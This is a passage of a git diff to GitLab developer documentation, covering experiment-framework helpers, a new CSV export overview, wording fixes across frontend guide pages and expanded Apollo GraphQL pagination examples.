+ class ProjectController < ApplicationController
def show
# experiment_enabled?(:experiment_key) is also available in views and helpers
+ if experiment_enabled?(:signup_flow, subject: current_user)
+ # render the experiment
+ else
+ # render the original version
+ end
+ end
+ end
+ ```
+
+ or experiment run for a namespace:
+
+ ```ruby
+ if experiment_enabled?(:signup_flow, subject: namespace)
+ # experiment code
+ else
+ # control code
+ end
+ ```
+
+ When no subject is given, it falls back to a cookie that gets set and is consistent until
+ the cookie gets deleted.
+
+ ```ruby
+ class RegistrationController < ApplicationController
+ def show
+ # falls back to a cookie
if experiment_enabled?(:signup_flow)
# render the experiment
else
# render the original version
end
end
- end
- ```
+ end
+ ```
- Make the experiment available to the frontend in a controller:
- ```ruby
- before_action do
- push_frontend_experiment(:signup_flow)
- end
- ```
+ ```ruby
+ before_action do
+ push_frontend_experiment(:signup_flow, subject: current_user)
+ end
+ ```
- The above will check whether the experiment is enabled and push the result to the frontend.
+ The above checks whether the experiment is enabled and pushes the result to the frontend.
- You can check the state of the feature flag in JavaScript:
+ You can check the state of the feature flag in JavaScript:
- ```javascript
- import { isExperimentEnabled } from '~/experimentation';
+ ```javascript
+ import { isExperimentEnabled } from '~/experimentation';
- if ( isExperimentEnabled('signupFlow') ) {
- // ...
- }
- ```
+ if ( isExperimentEnabled('signupFlow') ) {
+ // ...
+ }
+ ```
- It is also possible to run an experiment outside of the controller scope, for example in a worker:
- ```ruby
- class SomeWorker
- def perform
- # Check if the experiment is enabled at all (the percentage_of_time_value > 0)
- return unless Gitlab::Experimentation.enabled?(:experiment_key)
-
- # Since we cannot access cookies in a worker, we need to bucket models based on a unique, unchanging attribute instead.
- # Use the following method to check if the experiment is enabled for a certain attribute, for example a username or email address:
- if Gitlab::Experimentation.enabled_for_attribute?(:experiment_key, some_attribute)
- # execute experimental code
- else
- # execute control code
- end
- end
- end
- ```
+ ```ruby
+ class SomeWorker
+ def perform
+ # Check if the experiment is active at all (the percentage_of_time_value > 0)
+ return unless Gitlab::Experimentation.active?(:experiment_key)
+
+ # Since we cannot access cookies in a worker, we need to bucket models based on a unique, unchanging attribute instead.
+ # It is therefore necessery to always provide the same subject.
+ if Gitlab::Experimentation.in_experiment_group?(:experiment_key, subject: user)
+ # execute experimental code
+ else
+ # execute control code
+ end
+ end
+ end
+ ```
### Implement the tracking events
@@ -123,7 +153,7 @@ The framework provides the following helper method that is available in controll
```ruby
before_action do
- track_experiment_event(:signup_flow, 'action', 'value')
+ track_experiment_event(:signup_flow, 'action', 'value', subject: current_user)
end
```
@@ -133,7 +163,7 @@ Which can be tested as follows:
context 'when the experiment is active and the user is in the experimental group' do
before do
stub_experiment(signup_flow: true)
- stub_experiment_for_user(signup_flow: true)
+ stub_experiment_for_subject(signup_flow: true)
end
it 'tracks an event', :snowplow do
@@ -156,8 +186,8 @@ The framework provides the following helper method that is available in controll
```ruby
before_action do
- push_frontend_experiment(:signup_flow)
- frontend_experimentation_tracking_data(:signup_flow, 'action', 'value')
+ push_frontend_experiment(:signup_flow, subject: current_user)
+ frontend_experimentation_tracking_data(:signup_flow, 'action', 'value', subject: current_user)
end
```
@@ -233,6 +263,50 @@ describe('event tracking', () => {
});
```
+### Record experiment user
+
+In addition to the anonymous tracking of events, we can also record which users have participated in which experiments and whether they were given the control experience or the experimental experience.
+
+The `record_experiment_user` helper method is available to all controllers, and it enables you to record these experiment participants (the current user) and which experience they were given:
+
+```ruby
+before_action do
+ record_experiment_user(:signup_flow)
+end
+```
+
+Subsequent calls to this method for the same experiment and the same user have no effect unless the user has gets enrolled into a different experience. This happens when we roll out the experimental experience to a greater percentage of users.
+
+Note that this data is completely separate from the [events tracking data](#implement-the-tracking-events). They are not linked together in any way.
+
+#### Add context
+
+You can add arbitrary context data in a hash which gets stored as part of the experiment user record.
+This data can then be used by data analytics dashboards.
+
+```ruby
+before_action do
+ record_experiment_user(:signup_flow, foo: 42)
+end
+```
+
+### Record experiment conversion event
+
+Along with the tracking of backend and frontend events and the [recording of experiment participants](#record-experiment-user), we can also record when a user performs the desired conversion event action. For example:
+
+- **Experimental experience:** Show an in-product nudge to see if it causes more people to sign up for trials.
+- **Conversion event:** The user starts a trial.
+
+The `record_experiment_conversion_event` helper method is available to all controllers. It enables us to record the conversion event for the current user, regardless of whether they are in the control or experimental group:
+
+```ruby
+before_action do
+ record_experiment_conversion_event(:signup_flow)
+end
+```
+
+Note that the use of this method requires that we have first [recorded the user as being part of the experiment](#record-experiment-user).
+
### Enable the experiment
After all merge requests have been merged, use [`chatops`](../../ci/chatops/README.md) in the
@@ -250,6 +324,19 @@ For visibility, please also share any commands run against production in the `#s
/chatops run feature delete signup_flow_experiment_percentage
```
+### Manually force the current user to be in the experiment group
+
+You may force the application to put your current user in the experiment group. To do so
+add a query string parameter to the path where the experiment runs. If you do so,
+the experiment will work only for this request and won't work after following links or submitting forms.
+
+For example, to forcibly enable the `EXPERIMENT_KEY` experiment, add `force_experiment=EXPERIMENT_KEY`
+to the URL:
+
+```shell
+https://gitlab.com/<EXPERIMENT_ENTRY_URL>?force_experiment=<EXPERIMENT_KEY>
+```
+
### Testing and test helpers
#### RSpec
@@ -264,7 +351,7 @@ context 'when the experiment is active' do
context 'when the user is in the experimental group' do
before do
- stub_experiment_for_user(signup_flow: true)
+ stub_experiment_for_subject(signup_flow: true)
end
it { is_expected.to do_experimental_thing }
@@ -272,7 +359,7 @@ context 'when the experiment is active' do
context 'when the user is in the control group' do
before do
- stub_experiment_for_user(signup_flow: false)
+ stub_experiment_for_subject(signup_flow: false)
end
it { is_expected.to do_control_thing }
diff --git a/doc/development/export_csv.md b/doc/development/export_csv.md
new file mode 100644
index 00000000000..99b6062736d
--- /dev/null
+++ b/doc/development/export_csv.md
@@ -0,0 +1,21 @@
+---
+stage: Manage
+group: Import
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Export to CSV
+
+This document lists the different implementations of CSV export in GitLab codebase.
+
+| Export type | How it works | Advantages | Disadvantages | Existing examples |
+|---|---|---|---|---|
+| Streaming | - Query and yield data in batches to a response stream.<br>- Download starts immediately. | - Report available immediately. | - No progress indicator.<br>- Requires a reliable connection. | [Export Audit Event Log](../administration/audit_events.md#export-to-csv) |
+| Downloading | - Query and write data in batches to a temporary file.<br>- Loads the file into memory.<br>- Sends the file to the client. | - Report available immediately. | - Large amount of data might cause request timeout.<br>- Memory intensive.<br>- Request expires when user navigates to a different page. | [Export Chain of Custody Report](../user/compliance/compliance_dashboard/#chain-of-custody-report) |
+| As email attachment | - Asynchronously process the query with background job.<br>- Email uses the export as an attachment. | - Asynchronous processing. | - Requires users use a different app (email) to download the CSV.<br>- Email providers may limit attachment size. | - [Export Issues](../user/project/issues/csv_export.md)<br>- [Export Merge Requests](../user/project/merge_requests/csv_export.md) |
+| As downloadable link in email (*) | - Asynchronously process the query with background job.<br>- Email uses an export link. | - Asynchronous processing.<br>- Bypasses email provider attachment size limit. | - Requires users use a different app (email).<br>- Requires additional storage and cleanup. | [Export User Permissions](https://gitlab.com/gitlab-org/gitlab/-/issues/1772) |
+| Polling (non-persistent state) | - Asynchronously processes the query with the background job.<br>- Frontend(FE) polls every few seconds to check if CSV file is ready. | - Asynchronous processing.<br>- Automatically downloads to local machine on completion.<br>- In-app solution. | - Non-persistable request - request expires when user navigates to a different page.<br>- API is processed for each polling request. | [Export Vulnerabilities](../user/application_security/security_dashboard/#export-vulnerabilities) |
+| Polling (persistent state) (*) | - Asynchronously processes the query with background job.<br>- Backend (BE) maintains the export state<br>- FE polls every few seconds to check status.<br>- FE shows 'Download link' when export is ready.<br>- User can download or regenerate a new report. | - Asynchronous processing.<br>- No database calls made during the polling requests (HTTP 304 status is returned until export status changes).<br>- Does not require user to stay on page until export is complete.<br>- In-app solution.<br>- Can be expanded into a generic CSV feature (such as dashboard / CSV API). | - Requires to maintain export states in DB.<br>- Does not automatically download the CSV export to local machine, requires users to click 'Download' button. | [Export Merge Commits Report](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/43055) |
+
+NOTE:
+Export types marked as * are currently work in progress.
diff --git a/doc/development/fe_guide/accessibility.md b/doc/development/fe_guide/accessibility.md
index 8cb61019556..92730e8139f 100644
--- a/doc/development/fe_guide/accessibility.md
+++ b/doc/development/fe_guide/accessibility.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Accessibility & Readability
diff --git a/doc/development/fe_guide/architecture.md b/doc/development/fe_guide/architecture.md
index 4b45fb97c76..964837dc5f7 100644
--- a/doc/development/fe_guide/architecture.md
+++ b/doc/development/fe_guide/architecture.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Architecture
diff --git a/doc/development/fe_guide/axios.md b/doc/development/fe_guide/axios.md
index 856b03e4b47..cf5a4970c04 100644
--- a/doc/development/fe_guide/axios.md
+++ b/doc/development/fe_guide/axios.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Axios
diff --git a/doc/development/fe_guide/dependencies.md b/doc/development/fe_guide/dependencies.md
index bbe4cdc285d..0ec10399ae0 100644
--- a/doc/development/fe_guide/dependencies.md
+++ b/doc/development/fe_guide/dependencies.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Frontend dependencies
@@ -32,7 +32,7 @@ updated using renovate are:
We discourage installing some dependencies in [GitLab repository](https://gitlab.com/gitlab-org/gitlab)
because they can create conflicts in the dependency tree. Blocked dependencies are declared in the
-`blockDependencies` property of GitLab’s [`package.json` file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/package.json).
+`blockDependencies` property of the GitLab [`package.json` file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/package.json).
## Dependency notes
diff --git a/doc/development/fe_guide/design_patterns.md b/doc/development/fe_guide/design_patterns.md
index ed4d91f34bd..784612682f8 100644
--- a/doc/development/fe_guide/design_patterns.md
+++ b/doc/development/fe_guide/design_patterns.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Design Patterns
diff --git a/doc/development/fe_guide/development_process.md b/doc/development/fe_guide/development_process.md
index 915dab06ac2..d122459f51c 100644
--- a/doc/development/fe_guide/development_process.md
+++ b/doc/development/fe_guide/development_process.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Frontend Development Process
@@ -85,7 +85,7 @@ With the purpose of being [respectful of others' time](https://about.gitlab.com/
### Share your work early
1. Before writing code, ensure your vision of the architecture is aligned with
- GitLab's architecture.
+ GitLab architecture.
1. Add a diagram to the issue and ask a frontend maintainer in the Slack channel `#frontend_maintainers` about it.
![Diagram of Issue Boards Architecture](img/boards_diagram.png)
diff --git a/doc/development/fe_guide/droplab/droplab.md b/doc/development/fe_guide/droplab/droplab.md
index fe0f07b3019..8f1ecc115fe 100644
--- a/doc/development/fe_guide/droplab/droplab.md
+++ b/doc/development/fe_guide/droplab/droplab.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# DropLab
@@ -22,7 +22,7 @@ The value is irrelevant.
The DropLab class has no side effects, so you must always call `.init` when the
DOM is ready. `DropLab.prototype.init` takes the same arguments as `DropLab.prototype.addHook`.
-If you don't provide any arguments, it will globally query and instantiate all
+If you don't provide any arguments, it globally queries and instantiates all
DropLab-compatible dropdowns.
```html
@@ -103,7 +103,7 @@ droplab.addHook(trigger, list);
### Dynamic data
-Adding `data-dynamic` to your dropdown element will enable dynamic list
+Adding `data-dynamic` to your dropdown element enables dynamic list
rendering.
You can template a list item using the keys of the data object provided. Use the
@@ -111,7 +111,7 @@ handlebars syntax `{{ value }}` to HTML escape the value. Use the `<%= value %>`
syntax to interpolate the value. Use the `<%= value %>` syntax to evaluate the
value.
-Passing an array of objects to `DropLab.prototype.addData` will render that data
+Passing an array of objects to `DropLab.prototype.addData` renders that data
for all `data-dynamic` dropdown lists tracked by that DropLab instance.
```html
@@ -227,14 +227,14 @@ provides some potentially useful data.
Plugins are objects that are registered to be executed when a hook is added (when
a DropLab trigger and dropdown are instantiated).
-If no modules API is detected, the library will fall back as it does with
-`window.DropLab` and will add `window.DropLab.plugins.PluginName`.
+If no modules API is detected, the library falls back as it does with
+`window.DropLab` and adds `window.DropLab.plugins.PluginName`.
### Usage
To use plugins, you can pass them in an array as the third argument of
`DropLab.prototype.init` or `DropLab.prototype.addHook`. Some plugins require
-configuration values; the config object can be passed as the fourth argument.
+configuration values; the configuration object can be passed as the fourth argument.
```html
<a href="#" id="trigger" data-dropdown-trigger="#list">Toggle</a>
diff --git a/doc/development/fe_guide/droplab/plugins/ajax.md b/doc/development/fe_guide/droplab/plugins/ajax.md
index 3ac876ad062..f12f8f260c7 100644
--- a/doc/development/fe_guide/droplab/plugins/ajax.md
+++ b/doc/development/fe_guide/droplab/plugins/ajax.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Ajax plugin
diff --git a/doc/development/fe_guide/droplab/plugins/filter.md b/doc/development/fe_guide/droplab/plugins/filter.md
index 9ab4946d21d..79f10cdb6c1 100644
--- a/doc/development/fe_guide/droplab/plugins/filter.md
+++ b/doc/development/fe_guide/droplab/plugins/filter.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Filter plugin
@@ -49,7 +49,7 @@ droplab.addData('trigger', [{
In the previous code, the input string is compared against the `test` key of the
passed data objects.
-Optionally you can set `filterFunction` to a function. This function will be
+Optionally you can set `filterFunction` to a function. This function is then
used instead of `Filter`'s built-in string search. `filterFunction` is passed
two arguments: the first is one of the data objects, and the second is the
current input value.
diff --git a/doc/development/fe_guide/droplab/plugins/index.md b/doc/development/fe_guide/droplab/plugins/index.md
index d44670bfb3c..c7a2865ca83 100644
--- a/doc/development/fe_guide/droplab/plugins/index.md
+++ b/doc/development/fe_guide/droplab/plugins/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: A list of DropLab plugins.
---
diff --git a/doc/development/fe_guide/droplab/plugins/input_setter.md b/doc/development/fe_guide/droplab/plugins/input_setter.md
index ab8a5cebd08..a3c073520cb 100644
--- a/doc/development/fe_guide/droplab/plugins/input_setter.md
+++ b/doc/development/fe_guide/droplab/plugins/input_setter.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# InputSetter plugin
@@ -67,6 +67,6 @@ element's `data-selected-id` to `1`.
Optionally, you can set `inputAttribute` to a string that's the name of an
attribute on your `input` element that you want to update. If you don't provide
-an `inputAttribute`, `InputSetter` will update the `value` of the `input`
+an `inputAttribute`, `InputSetter` updates the `value` of the `input`
element if it's an `INPUT` element, or the `textContent` of the `input` element
if it isn't an `INPUT` element.
diff --git a/doc/development/fe_guide/editor_lite.md b/doc/development/fe_guide/editor_lite.md
index eb5852d258d..465d64ff63c 100644
--- a/doc/development/fe_guide/editor_lite.md
+++ b/doc/development/fe_guide/editor_lite.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Editor
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Editor Lite
@@ -58,7 +58,7 @@ The editor follows the same public API as [provided by Monaco editor](https://mi
| Function | Arguments | Description
| ----- | ----- | ----- |
| `updateModelLanguage` | `path`: String | Updates the instance's syntax highlighting to follow the extension of the passed `path`. Available only on _instance_ level|
-| `use` | Array of objects | Array of **extensions** to apply to the instance. Accepts only the array of _objects_, which means that the extensions' ES6 modules should be fetched and resolved in your views/components before being passed to `use`. This prop is available on _instance_ (applies extension to this particular instance) and _global edtor_ (applies the same extension to all instances) levels. |
+| `use` | Array of objects | Array of **extensions** to apply to the instance. Accepts only the array of _objects_, which means that the extensions' ES6 modules should be fetched and resolved in your views/components before being passed to `use`. This prop is available on _instance_ (applies extension to this particular instance) and _global editor_ (applies the same extension to all instances) levels. |
| Monaco Editor options | See [documentation](https://microsoft.github.io/monaco-editor/api/interfaces/monaco.editor.istandalonecodeeditor.html) | Default Monaco editor options |
## Tips
@@ -68,7 +68,7 @@ The editor follows the same public API as [provided by Monaco editor](https://mi
Editor Lite comes with the loading state built-in, making spinners and loaders rarely needed in HTML. To benefit the built-in loading state, set the `data-editor-loading` property on the HTML element that is supposed to contain the editor. Editor Lite will show the loader automatically while it's bootstrapping.
![Editor Lite: loading state](img/editor_lite_loading.png)
-1. Update syntax highlighting if the file name changes.
+1. Update syntax highlighting if the filename changes.
```javascript
// fileNameEl here is the HTML input element that contains the file name
diff --git a/doc/development/fe_guide/emojis.md b/doc/development/fe_guide/emojis.md
index 9b1abaa14ae..7151e2ffeee 100644
--- a/doc/development/fe_guide/emojis.md
+++ b/doc/development/fe_guide/emojis.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Emojis
diff --git a/doc/development/fe_guide/event_tracking.md b/doc/development/fe_guide/event_tracking.md
index 79ea80a52ea..24e83ffc524 100644
--- a/doc/development/fe_guide/event_tracking.md
+++ b/doc/development/fe_guide/event_tracking.md
@@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md'
---
This document was moved to [another location](../product_analytics/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/fe_guide/frontend_faq.md b/doc/development/fe_guide/frontend_faq.md
index 22a48c8f9f9..9612f604b56 100644
--- a/doc/development/fe_guide/frontend_faq.md
+++ b/doc/development/fe_guide/frontend_faq.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Frontend FAQ
@@ -82,13 +82,13 @@ follow up issue and attach it to the component implementation epic found within
### 4. My submit form button becomes disabled after submitting
-If you are using a submit button inside a form and you attach an `onSubmit` event listener on the form element, [this piece of code](https://gitlab.com/gitlab-org/gitlab/blob/794c247a910e2759ce9b401356432a38a4535d49/app/assets/javascripts/main.js#L225) will add a `disabled` class selector to the submit button when the form is submitted.
+If you are using a submit button inside a form and you attach an `onSubmit` event listener on the form element, [this piece of code](https://gitlab.com/gitlab-org/gitlab/blob/794c247a910e2759ce9b401356432a38a4535d49/app/assets/javascripts/main.js#L225) adds a `disabled` class selector to the submit button when the form is submitted.
To avoid this behavior, add the class `js-no-auto-disable` to the button.
### 5. Should I use a full URL (i.e. `gon.gitlab_url`) or a full path (i.e. `gon.relative_url_root`) when referencing backend endpoints?
-It's preferred to use a **full path** over a **full URL** because the URL will use the hostname configured with
-GitLab which may not match the request. This will cause [CORS issues like this Web IDE one](https://gitlab.com/gitlab-org/gitlab/-/issues/36810).
+It's preferred to use a **full path** over a **full URL** because the URL uses the hostname configured with
+GitLab which may not match the request. This causes [CORS issues like this Web IDE one](https://gitlab.com/gitlab-org/gitlab/-/issues/36810).
Example:
@@ -161,8 +161,9 @@ Sometimes it's necessary to test locally what the frontend production build woul
1. Open `gitlab.yaml` located in your `gitlab` installation folder, scroll down to the `webpack` section and change `dev_server` to `enabled: false`.
1. Run `yarn webpack-prod && gdk restart rails-web`.
-The production build takes a few minutes to be completed; any code change at this point will be
+The production build takes a few minutes to be completed; any code changes at this point are
displayed only after executing the item 3 above again.
+
To return to the normal development mode:
1. Open `gitlab.yaml` located in your `gitlab` installation folder, scroll down to the `webpack` section and change back `dev_server` to `enabled: true`.
@@ -181,7 +182,7 @@ we're using that our target browsers don't support. You don't need to add `core-
polyfills manually.
GitLab adds non-`core-js` polyfills for extending browser features (such as
-GitLab's SVG polyfill), which allow us to reference SVGs by using `<use xlink:href>`.
+the GitLab SVG polyfill), which allow us to reference SVGs by using `<use xlink:href>`.
Be sure to add these polyfills to `app/assets/javascripts/commons/polyfills.js`.
To see what polyfills are being used:
diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md
index cae2435e4ff..b1896863af9 100644
--- a/doc/development/fe_guide/graphql.md
+++ b/doc/development/fe_guide/graphql.md
@@ -143,7 +143,7 @@ More about fragments:
## Global IDs
-GitLab's GraphQL API expresses `id` fields as Global IDs rather than the PostgreSQL
+The GitLab GraphQL API expresses `id` fields as Global IDs rather than the PostgreSQL
primary key `id`. Global ID is [a convention](https://graphql.org/learn/global-object-identification/)
used for caching and fetching in client-side libraries.
@@ -187,7 +187,7 @@ As shown in the code example by using `produce`, we can perform any kind of dire
`draftState`. Besides, `immer` guarantees that a new state which includes the changes to `draftState` will be generated.
Finally, to verify whether the immutable cache update is working properly, we need to change
-`assumeImmutableResults` to `true` in the `default client config` (see [Apollo Client](#apollo-client) for more info).
+`assumeImmutableResults` to `true` in the default client configuration (see [Apollo Client](#apollo-client) for more information).
If everything is working properly `assumeImmutableResults` should remain set to `true`.
@@ -411,7 +411,7 @@ handleClick() {
### Working with pagination
-GitLab's GraphQL API uses [Relay-style cursor pagination](https://www.apollographql.com/docs/react/data/pagination/#cursor-based)
+The GitLab GraphQL API uses [Relay-style cursor pagination](https://www.apollographql.com/docs/react/pagination/overview/#cursor-based)
for connection types. This means a "cursor" is used to keep track of where in the data
set the next items should be fetched from. [GraphQL Ruby Connection Concepts](https://graphql-ruby.org/pagination/connection_concepts.html)
is a good overview and introduction to connections.
@@ -439,9 +439,11 @@ parameter, indicating a starting or ending point of our pagination. They should
followed with `first` or `last` parameter respectively to indicate _how many_ items
we want to fetch after or before a given endpoint.
-For example, here we're fetching 10 designs after a cursor:
+For example, here we're fetching 10 designs after a cursor (let us call this `projectQuery`):
```javascript
+#import "~/graphql_shared/fragments/pageInfo.fragment.graphql"
+
query {
project(fullPath: "root/my-project") {
id
@@ -453,6 +455,9 @@ query {
id
}
}
+ pageInfo {
+ ...PageInfo
+ }
}
}
}
@@ -460,21 +465,31 @@ query {
}
```
+Note that we are using the [`pageInfo.fragment.graphql`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/graphql_shared/fragments/pageInfo.fragment.graphql) to populate the `pageInfo` information.
+
#### Using `fetchMore` method in components
+This approach makes sense to use with user-handled pagination (e.g. when the scrolls to fetch more data or explicitly clicks a "Next Page"-button).
+When we need to fetch all the data initially, it is recommended to use [a (non-smart) query, instead](#using-a-recursive-query-in-components).
+
When making an initial fetch, we usually want to start a pagination from the beginning.
In this case, we can either:
- Skip passing a cursor.
- Pass `null` explicitly to `after`.
-After data is fetched, we should save a `pageInfo` object. Let's assume we're storing
-it to Vue component `data`:
+After data is fetched, we can use the `update`-hook as an opportunity [to customize
+the data that is set in the Vue component property](https://apollo.vuejs.org/api/smart-query.html#options), getting a hold of the `pageInfo` object among other data.
+
+In the `result`-hook, we can inspect the `pageInfo` object to see if we need to fetch
+the next page. Note that we also keep a `requestCount` to ensure that the application
+does not keep requesting the next page, indefinitely:
```javascript
data() {
return {
pageInfo: null,
+ requestCount: 0,
}
},
apollo: {
@@ -482,13 +497,29 @@ apollo: {
query: projectQuery,
variables() {
return {
- // rest of design variables
- ...
+ // ... The rest of the design variables
first: 10,
};
},
- result(res) {
- this.pageInfo = res.data?.project?.issue?.designCollection?.designs?.pageInfo;
+ update(data) {
+ const { id = null, issue = {} } = data.project || {};
+ const { edges = [], pageInfo } = issue.designCollection?.designs || {};
+
+ return {
+ id,
+ edges,
+ pageInfo,
+ };
+ },
+ result() {
+ const { pageInfo } = this.designs;
+
+ // Increment the request count with each new result
+ this.requestCount += 1;
+ // Only fetch next page if we have more requests and there is a next page to fetch
+ if (this.requestCount < MAX_REQUEST_COUNT && pageInfo?.hasNextPage) {
+ this.fetchNextPage(pageInfo.endCursor);
+ }
},
},
},
@@ -497,34 +528,154 @@ apollo: {
When we want to move to the next page, we use an Apollo `fetchMore` method, passing a
new cursor (and, optionally, new variables) there. In the `updateQuery` hook, we have
to return a result we want to see in the Apollo cache after fetching the next page.
+[`Immer`s `produce`](#immutability-and-cache-updates)-function can help us with the immutability here:
```javascript
-fetchNextPage() {
- // as a first step, we're checking if we have more pages to move forward
- if (this.pageInfo?.hasNextPage) {
- this.$apollo.queries.designs.fetchMore({
- variables: {
- // rest of design variables
- ...
- first: 10,
- after: this.pageInfo?.endCursor,
- },
- updateQuery(previousResult, { fetchMoreResult }) {
- // here we can implement the logic of adding new designs to fetched one (for example, if we use infinite scroll)
- // or replacing old result with the new one if we use numbered pages
+fetchNextPage(endCursor) {
+ this.$apollo.queries.designs.fetchMore({
+ variables: {
+ // ... The rest of the design variables
+ first: 10,
+ after: endCursor,
+ },
+ updateQuery(previousResult, { fetchMoreResult }) {
+ // Here we can implement the logic of adding new designs to existing ones
+ // (for example, if we use infinite scroll) or replacing old result
+ // with the new one if we use numbered pages
+
+ const { designs: previousDesigns } = previousResult.project.issue.designCollection;
+ const { designs: newDesigns } = fetchMoreResult.project.issue.designCollection
+
+ return produce(previousResult, draftData => {
+ // `produce` gives us a working copy, `draftData`, that we can modify
+ // as we please and from it will produce the next immutable result for us
+ draftData.project.issue.designCollection.designs = [...previousDesigns, ...newDesigns];
+ });
+ },
+ });
+}
+```
- const newDesigns = fetchMoreResult.project.issue.designCollection.designs;
- previousResult.project.issue.designCollection.designs.push(...newDesigns)
+#### Using a recursive query in components
- return previousResult;
- },
- });
+When it is necessary to fetch all paginated data initially an Apollo query can do the trick for us.
+If we need to fetch the next page based on user interactions, it is recommend to use a [`smartQuery`](https://apollo.vuejs.org/api/smart-query.html) along with the [`fetchMore`-hook](#using-fetchmore-method-in-components).
+
+When the query resolves we can update the component data and inspect the `pageInfo` object
+to see if we need to fetch the next page, i.e. call the method recursively.
+
+Note that we also keep a `requestCount` to ensure that the application does not keep
+requesting the next page, indefinitely.
+
+```javascript
+data() {
+ return {
+ requestCount: 0,
+ isLoading: false,
+ designs: {
+ edges: [],
+ pageInfo: null,
+ },
+ }
+},
+created() {
+ this.fetchDesigns();
+},
+methods: {
+ handleError(error) {
+ this.isLoading = false;
+ // Do something with `error`
+ },
+ fetchDesigns(endCursor) {
+ this.isLoading = true;
+
+ return this.$apollo
+ .query({
+ query: projectQuery,
+ variables() {
+ return {
+ // ... The rest of the design variables
+ first: 10,
+ endCursor,
+ };
+ },
+ })
+ .then(({ data }) => {
+ const { id = null, issue = {} } = data.project || {};
+ const { edges = [], pageInfo } = issue.designCollection?.designs || {};
+
+ // Update data
+ this.designs = {
+ id,
+ edges: [...this.designs.edges, ...edges];
+ pageInfo: pageInfo;
+ };
+
+ // Increment the request count with each new result
